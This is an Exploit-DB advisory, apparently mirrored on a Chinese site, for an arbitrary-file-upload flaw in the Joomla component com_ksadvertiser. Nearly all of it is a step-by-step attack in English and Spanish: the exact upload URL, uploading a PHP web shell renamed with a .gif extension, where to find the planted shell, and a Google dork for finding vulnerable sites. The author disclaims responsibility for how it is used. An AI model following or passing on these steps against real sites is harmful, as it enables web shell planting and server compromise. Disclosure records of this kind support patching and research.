Joomla! Component com_ksadvertiser – Remote File / Bypass Upload - 体验盒子

作者： D4NB4R

日期： 2012-07-13

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/19792/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

############################################################################

#

# Exploit Title: Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability

#

# Google Dork: inurl:index.php?option=com_ksadvertiser

#

# Date: [12-07-2012]

#

# Author: Daniel Barragan "D4NB4R"

#

# Twitter: @D4NB4R

#

# site: http://www.insecurityperu.org/

#

# vendor Link: http://www.kiss-software.de

#

# Tested on: [Linux(arch)-Windows(7ultimate)]

#

1.Some pages require the Register

Registrese Algunas Paginas lo exigen

http://site/index.php?option=com_user&view=login

2.Go to the upload path

Dirijase a la ruta del upload

http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en

3.Go to images and give click to upload, browse your file shell.php, and rename it to shell.php.gif

Vaya a imagenes y dele click a upload, examine su archivo shell.php y renombrelo a shell.php.gif

4.Locate your file in the root / images/ksadvertiser/U0 -> this may vary

Busque su archivo en la raiz /images/ksadvertiser/U0 --> esta puede variar

http://site/images/ksadvertiser/U0/403.php.gif

Im not responsible for which is given

No me hago responsable del uso que se le de

_______________________________________________________________________________________

Daniel Barragan "D4NB4R"

Site:http://www.exploit-db.com // http://packetstormsecurity.org // http://1337day.com/